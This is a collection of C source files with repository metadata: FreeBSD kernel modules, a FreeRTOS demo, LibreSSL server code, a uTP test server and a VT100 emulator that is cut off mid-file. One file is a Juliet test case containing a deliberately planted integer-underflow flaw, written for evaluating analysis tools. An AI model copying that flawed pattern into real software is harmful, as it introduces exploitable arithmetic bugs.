/* * from: FreeBSD: src/sys/tools/fw_stub.awk,v 1.6 2007/03/02 11:42:53 flz */ #include <sys/cdefs.h> __FBSDID("$FreeBSD: releng/9.3/sys/dev/cxgb/cxgb_t3fw.c 189643 2009-03-10 19:22:45Z gnn $"); #include <sys/param.h> #include <sys/errno.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/linker.h> #include <sys/firmware.h> #include <sys/systm.h> #include <cxgb_t3fw.h> #include <t3b_protocol_sram.h> #include <t3b_tp_eeprom.h> #include <t3c_protocol_sram.h> #include <t3c_tp_eeprom.h> static int cxgb_t3fw_modevent(module_t mod, int type, void *unused) { const struct firmware *fp, *parent; int error; switch (type) { case MOD_LOAD: fp = firmware_register("cxgb_t3fw", t3fw, (size_t)t3fw_length, 0, NULL); if (fp == NULL) goto fail_0; parent = fp; return (0); fail_0: return (ENXIO); case MOD_UNLOAD: error = firmware_unregister("cxgb_t3fw"); return (error); } return (EINVAL); } static moduledata_t cxgb_t3fw_mod = { "cxgb_t3fw", cxgb_t3fw_modevent, 0 }; DECLARE_MODULE(cxgb_t3fw, cxgb_t3fw_mod, SI_SUB_DRIVERS, SI_ORDER_FIRST); MODULE_VERSION(cxgb_t3fw, 1); MODULE_DEPEND(cxgb_t3fw, firmware, 1, 1, 1); static int cxgb_t3b_protocol_sram_modevent(module_t mod, int type, void *unused) { const struct firmware *fp, *parent; int error; switch (type) { case MOD_LOAD: fp = firmware_register("cxgb_t3b_protocol_sram", t3b_protocol_sram, (size_t)t3b_protocol_sram_length, 0, NULL); if (fp == NULL) goto fail_0; parent = fp; return (0); fail_0: return (ENXIO); case MOD_UNLOAD: error = firmware_unregister("cxgb_t3b_protocol_sram"); return (error); } return (EINVAL); } static moduledata_t cxgb_t3b_protocol_sram_mod = { "cxgb_t3b_protocol_sram", cxgb_t3b_protocol_sram_modevent, 0 }; DECLARE_MODULE(cxgb_t3b_protocol_sram, cxgb_t3b_protocol_sram_mod, SI_SUB_DRIVERS, SI_ORDER_FIRST); MODULE_VERSION(cxgb_t3b_protocol_sram, 1); MODULE_DEPEND(cxgb_t3b_protocol_sram, firmware, 1, 1, 1); static int cxgb_t3b_tp_eeprom_modevent(module_t mod, int type, void *unused) { const struct firmware *fp, *parent; int error; switch (type) { case MOD_LOAD: fp = firmware_register("cxgb_t3b_tp_eeprom", t3b_tp_eeprom, (size_t)t3b_tp_eeprom_length, 0, NULL); if (fp == NULL) goto fail_0; parent = fp; return (0); fail_0: return (ENXIO); case MOD_UNLOAD: error = firmware_unregister("cxgb_t3b_tp_eeprom"); return (error); } return (EINVAL); } static moduledata_t cxgb_t3b_tp_eeprom_mod = { "cxgb_t3b_tp_eeprom", cxgb_t3b_tp_eeprom_modevent, 0 }; DECLARE_MODULE(cxgb_t3b_tp_eeprom, cxgb_t3b_tp_eeprom_mod, SI_SUB_DRIVERS, SI_ORDER_FIRST); MODULE_VERSION(cxgb_t3b_tp_eeprom, 1); MODULE_DEPEND(cxgb_t3b_tp_eeprom, firmware, 1, 1, 1); static int cxgb_t3c_protocol_sram_modevent(module_t mod, int type, void *unused) { const struct firmware *fp, *parent; int error; switch (type) { case MOD_LOAD: fp = firmware_register("cxgb_t3c_protocol_sram", t3c_protocol_sram, (size_t)t3c_protocol_sram_length, 0, NULL); if (fp == NULL) goto fail_0; parent = fp; return (0); fail_0: return (ENXIO); case MOD_UNLOAD: error = firmware_unregister("cxgb_t3c_protocol_sram"); return (error); } return (EINVAL); } static moduledata_t cxgb_t3c_protocol_sram_mod = { "cxgb_t3c_protocol_sram", cxgb_t3c_protocol_sram_modevent, 0 }; DECLARE_MODULE(cxgb_t3c_protocol_sram, cxgb_t3c_protocol_sram_mod, SI_SUB_DRIVERS, SI_ORDER_FIRST); MODULE_VERSION(cxgb_t3c_protocol_sram, 1); MODULE_DEPEND(cxgb_t3c_protocol_sram, firmware, 1, 1, 1); static int cxgb_t3c_tp_eeprom_modevent(module_t mod, int type, void *unused) { const struct firmware *fp, *parent; int error; switch (type) { case MOD_LOAD: fp = firmware_register("cxgb_t3c_tp_eeprom", t3c_tp_eeprom, (size_t)t3c_tp_eeprom_length, 0, NULL); if (fp == NULL) goto fail_0; parent = fp; return (0); fail_0: return (ENXIO); case MOD_UNLOAD: error = firmware_unregister("cxgb_t3c_tp_eeprom"); return (error); } return (EINVAL); } static moduledata_t cxgb_t3c_tp_eeprom_mod = { "cxgb_t3c_tp_eeprom", cxgb_t3c_tp_eeprom_modevent, 0 }; DECLARE_MODULE(cxgb_t3c_tp_eeprom, cxgb_t3c_tp_eeprom_mod, SI_SUB_DRIVERS, SI_ORDER_FIRST); MODULE_VERSION(cxgb_t3c_tp_eeprom, 1); MODULE_DEPEND(cxgb_t3c_tp_eeprom, firmware, 1, 1, 1);
dcui/FreeBSD-9.3_kernel
sys/dev/cxgb/cxgb_t3fw.c
C
bsd-3-clause
4,506
/* copyright(C) 2002 H.Kawai (under KL-01). */ #include <stdio.h> #include <stdlib.h> int GO_fputc(int c, GO_FILE *stream) { if (stream->p >= stream->p1) abort(); *stream->p++ = c; /* GOL_debuglog(1, &c); */ return (unsigned char) c; }
Oss9935/MakitOS
osproj/omake/tolsrc/go_0023s/go_lib/fputc.c
C
bsd-3-clause
244
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE191_Integer_Underflow__short_rand_postdec_07.c Label Definition File: CWE191_Integer_Underflow.label.xml Template File: sources-sinks-07.tmpl.c */ /* * @description * CWE: 191 Integer Underflow * BadSource: rand Set data to result of rand() * GoodSource: Set data to a small, non-zero number (negative two) * Sinks: decrement * GoodSink: Ensure there will not be an underflow before decrementing data * BadSink : Decrement data, which can cause an Underflow * Flow Variant: 07 Control flow: if(staticFive==5) and if(staticFive!=5) * * */ #include "std_testcase.h" /* The variable below is not declared "const", but is never assigned any other value so a tool should be able to identify that reads of this will always give its initialized value. */ static int staticFive = 5; #ifndef OMITBAD void CWE191_Integer_Underflow__short_rand_postdec_07_bad() { short data; data = 0; if(staticFive==5) { /* POTENTIAL FLAW: Use a random value */ data = (short)RAND32(); } if(staticFive==5) { { /* POTENTIAL FLAW: Decrementing data could cause an underflow */ data--; short result = data; printIntLine(result); } } } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodB2G1() - use badsource and goodsink by changing the second staticFive==5 to staticFive!=5 */ static void goodB2G1() { short data; data = 0; if(staticFive==5) { /* POTENTIAL FLAW: Use a random value */ data = (short)RAND32(); } if(staticFive!=5) { /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ printLine("Benign, fixed string"); } else { /* FIX: Add a check to prevent an underflow from occurring */ if (data > SHRT_MIN) { data--; short result = data; printIntLine(result); } else { printLine("data value is too large to perform arithmetic safely."); } } } /* goodB2G2() - use badsource and goodsink by reversing the blocks in the second if */ static void goodB2G2() { short data; data = 0; if(staticFive==5) { /* POTENTIAL FLAW: Use a random value */ data = (short)RAND32(); } if(staticFive==5) { /* FIX: Add a check to prevent an underflow from occurring */ if (data > SHRT_MIN) { data--; short result = data; printIntLine(result); } else { printLine("data value is too large to perform arithmetic safely."); } } } /* goodG2B1() - use goodsource and badsink by changing the first staticFive==5 to staticFive!=5 */ static void goodG2B1() { short data; data = 0; if(staticFive!=5) { /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ printLine("Benign, fixed string"); } else { /* FIX: Use a small, non-zero value that will not cause an underflow in the sinks */ data = -2; } if(staticFive==5) { { /* POTENTIAL FLAW: Decrementing data could cause an underflow */ data--; short result = data; printIntLine(result); } } } /* goodG2B2() - use goodsource and badsink by reversing the blocks in the first if */ static void goodG2B2() { short data; data = 0; if(staticFive==5) { /* FIX: Use a small, non-zero value that will not cause an underflow in the sinks */ data = -2; } if(staticFive==5) { { /* POTENTIAL FLAW: Decrementing data could cause an underflow */ data--; short result = data; printIntLine(result); } } } void CWE191_Integer_Underflow__short_rand_postdec_07_good() { goodB2G1(); goodB2G2(); goodG2B1(); goodG2B2(); } #endif /* OMITGOOD */ /* Below is the main(). It is only used when building this testcase on its own for testing or for building a binary to use in testing binary analysis tools. It is not used when compiling all the testcases as one application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); CWE191_Integer_Underflow__short_rand_postdec_07_good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); CWE191_Integer_Underflow__short_rand_postdec_07_bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
JianpingZeng/xcc
xcc/test/juliet/testcases/CWE191_Integer_Underflow/s04/CWE191_Integer_Underflow__short_rand_postdec_07.c
C
bsd-3-clause
4,979
/*- * Copyright (c) 2006 The FreeBSD Project * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <sys/cdefs.h> __FBSDID("$FreeBSD: releng/9.3/sys/dev/tdfx/tdfx_linux.c 224778 2011-08-11 12:30:23Z rwatson $"); #include <sys/param.h> #include <sys/capability.h> #include <sys/file.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/proc.h> #include <sys/systm.h> #include <dev/tdfx/tdfx_linux.h> LINUX_IOCTL_SET(tdfx, LINUX_IOCTL_TDFX_MIN, LINUX_IOCTL_TDFX_MAX); /* * Linux emulation IOCTL for /dev/tdfx */ static int linux_ioctl_tdfx(struct thread *td, struct linux_ioctl_args* args) { int error = 0; u_long cmd = args->cmd & 0xffff; /* The structure passed to ioctl has two shorts, one int and one void*. */ char d_pio[2*sizeof(short) + sizeof(int) + sizeof(void*)]; struct file *fp; if ((error = fget(td, args->fd, CAP_IOCTL, &fp)) != 0) return (error); /* We simply copy the data and send it right to ioctl */ copyin((caddr_t)args->arg, &d_pio, sizeof(d_pio)); error = fo_ioctl(fp, cmd, (caddr_t)&d_pio, td->td_ucred, td); fdrop(fp, td); return error; } static int tdfx_linux_modevent(struct module *mod __unused, int what, void *arg __unused) { switch (what) { case MOD_LOAD: case MOD_UNLOAD: return (0); } return (EOPNOTSUPP); } static moduledata_t tdfx_linux_mod = { "tdfx_linux", tdfx_linux_modevent, 0 }; /* As in SYSCALL_MODULE */ DECLARE_MODULE(tdfx_linux, tdfx_linux_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(tdfx_linux, 1); MODULE_DEPEND(tdfx_linux, tdfx, 1, 1, 1); MODULE_DEPEND(tdfx_linux, linux, 1, 1, 1);
dcui/FreeBSD-9.3_kernel
sys/dev/tdfx/tdfx_linux.c
C
bsd-3-clause
2,886
/* * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Jordan K. Hubbard * 29 August 1998 * * $FreeBSD: src/sys/boot/common/interp_backslash.c,v 1.4 1999/08/28 00:39:47 peter Exp $ * * Routine for doing backslash elimination. */ #include <stand.h> #include <string.h> #define DIGIT(x) (isdigit(x) ? (x) - '0' : islower(x) ? (x) + 10 - 'a' : (x) + 10 - 'A') /* * backslash: Return malloc'd copy of str with all standard "backslash * processing" done on it. Original can be free'd if desired. */ char * backslash(char *str) { /* * Remove backslashes from the strings. Turn \040 etc. into a single * character (we allow eight bit values). Currently NUL is not * allowed. * * Turn "\n" and "\t" into '\n' and '\t' characters. Etc. * */ char *new_str; int seenbs = 0; int i = 0; if ((new_str = strdup(str)) == NULL) return NULL; while (*str) { if (seenbs) { seenbs = 0; switch (*str) { case '\\': new_str[i++] = '\\'; str++; break; /* preserve backslashed quotes, dollar signs */ case '\'': case '"': case '$': new_str[i++] = '\\'; new_str[i++] = *str++; break; case 'b': new_str[i++] = '\b'; str++; break; case 'f': new_str[i++] = '\f'; str++; break; case 'r': new_str[i++] = '\r'; str++; break; case 'n': new_str[i++] = '\n'; str++; break; case 's': new_str[i++] = ' '; str++; break; case 't': new_str[i++] = '\t'; str++; break; case 'v': new_str[i++] = '\13'; str++; break; case 'z': str++; break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': { char val; /* Three digit octal constant? */ if (*str >= '0' && *str <= '3' && *(str + 1) >= '0' && *(str + 1) <= '7' && *(str + 2) >= '0' && *(str + 2) <= '7') { val = (DIGIT(*str) << 6) + (DIGIT(*(str + 1)) << 3) + DIGIT(*(str + 2)); /* Allow null value if user really wants to shoot at feet, but beware! */ new_str[i++] = val; str += 3; break; } /* One or two digit hex constant? * If two are there they will both be taken. * Use \z to split them up if this is not wanted. */ if (*str == '0' && (*(str + 1) == 'x' || *(str + 1) == 'X') && isxdigit(*(str + 2))) { val = DIGIT(*(str + 2)); if (isxdigit(*(str + 3))) { val = (val << 4) + DIGIT(*(str + 3)); str += 4; } else str += 3; /* Yep, allow null value here too */ new_str[i++] = val; break; } } break; default: new_str[i++] = *str++; break; } } else { if (*str == '\\') { seenbs = 1; str++; } else new_str[i++] = *str++; } } if (seenbs) { /* * The final character was a '\'. Put it in as a single backslash. */ new_str[i++] = '\\'; } new_str[i] = '\0'; return new_str; }
MarginC/kame
freebsd4/sys/boot/common/interp_backslash.c
C
bsd-3-clause
3,531
/* FreeRTOS V7.6.0 - Copyright (C) 2013 Real Time Engineers Ltd. All rights reserved VISIT http://www.FreeRTOS.org TO ENSURE YOU ARE USING THE LATEST VERSION. *************************************************************************** * * * FreeRTOS provides completely free yet professionally developed, * * robust, strictly quality controlled, supported, and cross * * platform software that has become a de facto standard. * * * * Help yourself get started quickly and support the FreeRTOS * * project by purchasing a FreeRTOS tutorial book, reference * * manual, or both from: http://www.FreeRTOS.org/Documentation * * * * Thank you! * * * *************************************************************************** This file is part of the FreeRTOS distribution. FreeRTOS is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License (version 2) as published by the Free Software Foundation >>!AND MODIFIED BY!<< the FreeRTOS exception. >>! NOTE: The modification to the GPL is included to allow you to distribute >>! a combined work that includes FreeRTOS without being obliged to provide >>! the source code for proprietary components outside of the FreeRTOS >>! kernel. FreeRTOS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Full license text is available from the following link: http://www.freertos.org/a00114.html 1 tab == 4 spaces! *************************************************************************** * * * Having a problem? Start by reading the FAQ "My application does * * not run, what could be wrong?" * * * * http://www.FreeRTOS.org/FAQHelp.html * * * *************************************************************************** http://www.FreeRTOS.org - Documentation, books, training, latest versions, license and Real Time Engineers Ltd. contact details. http://www.FreeRTOS.org/plus - A selection of FreeRTOS ecosystem products, including FreeRTOS+Trace - an indispensable productivity tool, a DOS compatible FAT file system, and our tiny thread aware UDP/IP stack. http://www.OpenRTOS.com - Real Time Engineers ltd license FreeRTOS to High Integrity Systems to sell under the OpenRTOS brand. Low cost OpenRTOS licenses offer ticketed support, indemnification and middleware. http://www.SafeRTOS.com - High Integrity Systems also provide a safety engineered and independently SIL3 certified version for use in safety and mission critical applications that require provable dependability. 1 tab == 4 spaces! */ /** * Create a single persistent task which periodically dynamically creates another * four tasks. The original task is called the creator task, the four tasks it * creates are called suicidal tasks. * * Two of the created suicidal tasks kill one other suicidal task before killing * themselves - leaving just the original task remaining. * * The creator task must be spawned after all of the other demo application tasks * as it keeps a check on the number of tasks under the scheduler control. The * number of tasks it expects to see running should never be greater than the * number of tasks that were in existence when the creator task was spawned, plus * one set of four suicidal tasks. If this number is exceeded an error is flagged. * * \page DeathC death.c * \ingroup DemoFiles * <HR> */ /* Changes from V2.0.0 + Delay periods are now specified using variables and constants of portTickType rather than unsigned long. */ #include <stdlib.h> /* Scheduler include files. */ #include "FreeRTOS.h" #include "task.h" /* Demo program include files. */ #include "death.h" #include "print.h" #define deathSTACK_SIZE ( ( unsigned short ) 512 ) /* The task originally created which is responsible for periodically dynamically creating another four tasks. */ static void vCreateTasks( void *pvParameters ); /* The task function of the dynamically created tasks. */ static void vSuicidalTask( void *pvParameters ); /* A variable which is incremented every time the dynamic tasks are created. This is used to check that the task is still running. */ static volatile short sCreationCount = 0; /* Used to store the number of tasks that were originally running so the creator task can tell if any of the suicidal tasks have failed to die. */ static volatile unsigned portBASE_TYPE uxTasksRunningAtStart = 0; static const unsigned portBASE_TYPE uxMaxNumberOfExtraTasksRunning = 5; /* Used to store a handle to the tasks that should be killed by a suicidal task, before it kills itself. */ xTaskHandle xCreatedTask1, xCreatedTask2; /*-----------------------------------------------------------*/ void vCreateSuicidalTasks( unsigned portBASE_TYPE uxPriority ) { unsigned portBASE_TYPE *puxPriority; /* Create the Creator tasks - passing in as a parameter the priority at which the suicidal tasks should be created. */ puxPriority = ( unsigned portBASE_TYPE * ) pvPortMalloc( sizeof( unsigned portBASE_TYPE ) ); *puxPriority = uxPriority; xTaskCreate( vCreateTasks, "CREATOR", deathSTACK_SIZE, ( void * ) puxPriority, uxPriority, NULL ); /* Record the number of tasks that are running now so we know if any of the suicidal tasks have failed to be killed. */ uxTasksRunningAtStart = uxTaskGetNumberOfTasks(); } /*-----------------------------------------------------------*/ static void vSuicidalTask( void *pvParameters ) { portDOUBLE d1, d2; xTaskHandle xTaskToKill; const portTickType xDelay = ( portTickType ) 500 / portTICK_RATE_MS; if( pvParameters != NULL ) { /* This task is periodically created four times. Tow created tasks are passed a handle to the other task so it can kill it before killing itself. The other task is passed in null. */ xTaskToKill = *( xTaskHandle* )pvParameters; } else { xTaskToKill = NULL; } for( ;; ) { /* Do something random just to use some stack and registers. */ d1 = 2.4; d2 = 89.2; d2 *= d1; vTaskDelay( xDelay ); if( xTaskToKill != NULL ) { /* Make sure the other task has a go before we delete it. */ vTaskDelay( ( portTickType ) 0 ); /* Kill the other task that was created by vCreateTasks(). */ vTaskDelete( xTaskToKill ); /* Kill ourselves. */ vTaskDelete( NULL ); } } }/*lint !e818 !e550 Function prototype must be as per standard for task functions. */ /*-----------------------------------------------------------*/ static void vCreateTasks( void *pvParameters ) { const portTickType xDelay = ( portTickType ) 1000 / portTICK_RATE_MS; unsigned portBASE_TYPE uxPriority; const char * const pcTaskStartMsg = "Create task started.\r\n"; /* Queue a message for printing to say the task has started. */ vPrintDisplayMessage( &pcTaskStartMsg ); uxPriority = *( unsigned portBASE_TYPE * ) pvParameters; vPortFree( pvParameters ); for( ;; ) { /* Just loop round, delaying then creating the four suicidal tasks. */ vTaskDelay( xDelay ); xTaskCreate( vSuicidalTask, "SUICIDE1", deathSTACK_SIZE, NULL, uxPriority, &xCreatedTask1 ); xTaskCreate( vSuicidalTask, "SUICIDE2", deathSTACK_SIZE, &xCreatedTask1, uxPriority, NULL ); xTaskCreate( vSuicidalTask, "SUICIDE1", deathSTACK_SIZE, NULL, uxPriority, &xCreatedTask2 ); xTaskCreate( vSuicidalTask, "SUICIDE2", deathSTACK_SIZE, &xCreatedTask2, uxPriority, NULL ); ++sCreationCount; } } /*-----------------------------------------------------------*/ /* This is called to check that the creator task is still running and that there are not any more than four extra tasks. */ portBASE_TYPE xIsCreateTaskStillRunning( void ) { static short sLastCreationCount = 0; short sReturn = pdTRUE; unsigned portBASE_TYPE uxTasksRunningNow; if( sLastCreationCount == sCreationCount ) { sReturn = pdFALSE; } uxTasksRunningNow = uxTaskGetNumberOfTasks(); if( uxTasksRunningNow < uxTasksRunningAtStart ) { sReturn = pdFALSE; } else if( ( uxTasksRunningNow - uxTasksRunningAtStart ) > uxMaxNumberOfExtraTasksRunning ) { sReturn = pdFALSE; } else { /* Everything is okay. */ } return sReturn; }
jedediahfrey/STM32F4-Discovery_FW_V1.1.0_Makefiles
FreeRTOS/FreeRTOS/Demo/Common/Full/death.c
C
bsd-3-clause
9,302
#include <stdlib.h> #include <stdio.h> #include <utp.h> #include <utp.c> int test() { return -1; } int main(int argc, char ** argv) { if (argc != 2) { fprintf(stderr, "usage: server <PORT>\n"); return EXIT_FAILURE; } int port = atoi(argv[1]); printf("using port = %i\n", port); struct usocket * sock = usocket(); if (sock == NULL) { perror("unable to open socket"); return EXIT_FAILURE; } printf("socket opened 0x%x\n", sock); struct sockaddr_in serv_addr; bzero(&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(port); int ret = ubind(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); if (ret == -1) { perror("unable to bind socket"); return EXIT_FAILURE; } printf("socket bound\n"); // TODO listen int i = 0; for (; ; ++i) { struct sockaddr_in cli_addr; socklen_t len = sizeof(cli_addr); fprintf(stderr, "waiting for a connection\n"); struct usocket * conn = uaccept(sock, (struct sockaddr *)&cli_addr, &len); if (conn == NULL) { perror("accept"); continue; } fprintf(stderr, "opened %i connection\n", i); //pid_t pid = fork(); int ret = uclose(conn); if (ret == -1) { perror("unable to close connection"); return EXIT_FAILURE; } } ret = uclose(sock); if (ret == -1) { perror("unable to close socket"); return EXIT_FAILURE; } return EXIT_SUCCESS; }
pxqr/utp
tests/server.c
C
bsd-3-clause
1,675
/* $OpenBSD: tls_server.c,v 1.4 2015/02/07 06:19:26 jsing Exp $ */ /* * Copyright (c) 2014 Joel Sing <jsing@openbsd.org> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <openssl/ec.h> #include <openssl/ssl.h> #include <tls.h> #include "tls_internal.h" struct tls * tls_server(void) { struct tls *ctx; if ((ctx = tls_new()) == NULL) return (NULL); ctx->flags |= TLS_SERVER; return (ctx); } struct tls * tls_server_conn(struct tls *ctx) { struct tls *conn_ctx; if ((conn_ctx = tls_new()) == NULL) return (NULL); conn_ctx->flags |= TLS_SERVER_CONN; return (conn_ctx); } int tls_configure_server(struct tls *ctx) { EC_KEY *ecdh_key; unsigned char sid[SSL_MAX_SSL_SESSION_ID_LENGTH]; if ((ctx->ssl_ctx = SSL_CTX_new(SSLv23_server_method())) == NULL) { tls_set_error(ctx, "ssl context failure"); goto err; } if (tls_configure_ssl(ctx) != 0) goto err; if (tls_configure_keypair(ctx) != 0) goto err; if (ctx->config->dheparams == -1) SSL_CTX_set_dh_auto(ctx->ssl_ctx, 1); else if (ctx->config->dheparams == 1024) SSL_CTX_set_dh_auto(ctx->ssl_ctx, 2); if (ctx->config->ecdhecurve == -1) { SSL_CTX_set_ecdh_auto(ctx->ssl_ctx, 1); } else if (ctx->config->ecdhecurve != NID_undef) { if ((ecdh_key = EC_KEY_new_by_curve_name( ctx->config->ecdhecurve)) == NULL) { tls_set_error(ctx, "failed to set ECDHE curve"); goto err; } SSL_CTX_set_options(ctx->ssl_ctx, SSL_OP_SINGLE_ECDH_USE); SSL_CTX_set_tmp_ecdh(ctx->ssl_ctx, ecdh_key); EC_KEY_free(ecdh_key); } /* * Set session ID context to a random value. We don't support * persistent caching of sessions so it is OK to set a temporary * session ID context that is valid during run time. */ arc4random_buf(sid, sizeof(sid)); if (!SSL_CTX_set_session_id_context(ctx->ssl_ctx, sid, sizeof(sid))) { tls_set_error(ctx, "failed to set session id context"); goto err; } return (0); err: return (-1); } int tls_accept_socket(struct tls *ctx, struct tls **cctx, int socket) { struct tls *conn_ctx = *cctx; int ret, err; if ((ctx->flags & TLS_SERVER) == 0) { tls_set_error(ctx, "not a server context"); goto err; } if (conn_ctx == NULL) { if ((conn_ctx = tls_server_conn(ctx)) == NULL) { tls_set_error(ctx, "connection context failure"); goto err; } *cctx = conn_ctx; conn_ctx->socket = socket; if ((conn_ctx->ssl_conn = SSL_new(ctx->ssl_ctx)) == NULL) { tls_set_error(ctx, "ssl failure"); goto err; } if (SSL_set_fd(conn_ctx->ssl_conn, socket) != 1) { tls_set_error(ctx, "ssl set fd failure"); goto err; } SSL_set_app_data(conn_ctx->ssl_conn, conn_ctx); } if ((ret = SSL_accept(conn_ctx->ssl_conn)) != 1) { err = tls_ssl_error(conn_ctx, ret, "accept"); if (err == TLS_READ_AGAIN || err == TLS_WRITE_AGAIN) { return (err); } goto err; } return (0); err: return (-1); }
GaloisInc/hacrypto
src/C/libressl/libressl-2.1.6/tls/tls_server.c
C
bsd-3-clause
3,555
/* * Copyright (C) 2017-present Frederic Meyer. All rights reserved. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "vt100.h" #include <stddef.h> struct vt100_term* vt100_init(struct vt100_term* this, int buffer_width, int buffer_height) { this->state = VT100_INITIAL; this->color = 7; this->cursor_x = 0; this->cursor_y = 0; this->buffer_width = buffer_width; this->buffer_height = buffer_height; this->set_char = NULL; this->set_cursor = NULL; this->clear_from_to = NULL; return this; } #define UPDATE_CURSOR \ if (this->set_cursor != NULL) { \ this->set_cursor(this->cursor_x, this->cursor_y); \ } void vt100_write(struct vt100_term* this, char c) { switch (this->state) { // Last character was 0x1B (aka \e or ESC). // This indicates an escape sequence that allows more complex // instructions, e.g. setting terminal foreground & background color. case VT100_ESCAPE: switch (c) { // CSI - Control Sequence Introducer case '[': { // Clear any left over CSI data this->csi.num = 0; for (int i = 0; i < VT100_MAX_PARAMS; i++) { this->csi.params[i] = 0; } this->state = VT100_CONTROL_SEQ; break; } // RIS – Reset to Initial State case 'c': this->cursor_x = 0; this->cursor_y = 0; this->color = 0x07; this->state = VT100_INITIAL; if (this->set_cursor != NULL) { this->set_cursor(0, 0); } if (this->clear_from_to != NULL) { this->clear_from_to(0, 0, this->buffer_width - 1, this->buffer_height - 1, this->color); } break; } break; // Inside of control sequence. // Starts optionally with a sequence of arguments/parameters // then ends with one character indicating the command. // TODO: prevent buffer overlows (csi.params) case VT100_CONTROL_SEQ: switch (c) { // Digit, "append" to current parameter. case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': this->csi.params[this->csi.num] *= 10; this->csi.params[this->csi.num] += c - '0'; break; // Ṕarameter delimiter case ';': this->csi.num++; break; // Set Display Attributes case 'm': { for (int i = 0; i <= this->csi.num; i++) { int attribute = this->csi.params[i]; switch (attribute) { // Reset state case 0: // TODO: implement more this->color = 7; break; // Foreground color case 30: case 31: case 32: case 33: case 34: case 35: case 36: case 37: this->color = (this->color & 0xF0) | (attribute - 30); break; // Background color case 40: case 41: case 42: case 43: case 44: case 45: case 46: case 47: this->color = (this->color & 0x0F) | ((attribute - 40) << 4); break; } } this->state = VT100_INITIAL; break; } /*// Erase Line case 'K': if (this->clear_from_to == NULL) { break; } if (this->csi.num == 0) { // Cursor to End of line this->clear_from_to(this->cursor_x, this->cursor_y, this->buffer_width - 1, this->cursor_y, this->color); } else { switch (this->csi.params[0]) { // Start of line to cursor case 0: this->clear_from_to(0, this->cursor_y, this->cursor_x, this->cursor_y, this->color); break; // Erase entire line case 1: this->clear_from_to(0, this->cursor_y, this->buffer_width - 1, this->buffer_height - 1, this->color); break; } } break; // Erase Block case 'J': break; */ default: // Possibly unknown command, or bad sequence. Ignore. this->state = VT100_INITIAL; break; } break; // Default state case VT100_INITIAL: switch (c) { // Non-control character. Print it. default: // TODO: implement line wrap flag if (this->cursor_x == this->buffer_width) { this->cursor_x = 0; this->cursor_y++; } if (this->set_char != NULL) { this->set_char(this->cursor_x, this->cursor_y, c, this->color); } this->cursor_x++; UPDATE_CURSOR; break; // Carriage Return case VT100_CR: this->cursor_x = 0; UPDATE_CURSOR; break; // New Line case VT100_LF: this->cursor_x = 0; this->cursor_y++; UPDATE_CURSOR; break; // Back Space case VT100_BS: // TODO: verify this behaviour if (this->cursor_x == 0) { this->cursor_x = this->buffer_width; this->cursor_y--; } else { this->cursor_x--; } //if (this->set_char != NULL) { // this->set_char(this->cursor_x, this->cursor_y, ' ', this->color); //} UPDATE_CURSOR; break; // Horizontal Tab // Converting your precious TAB to spaces. Resistance is 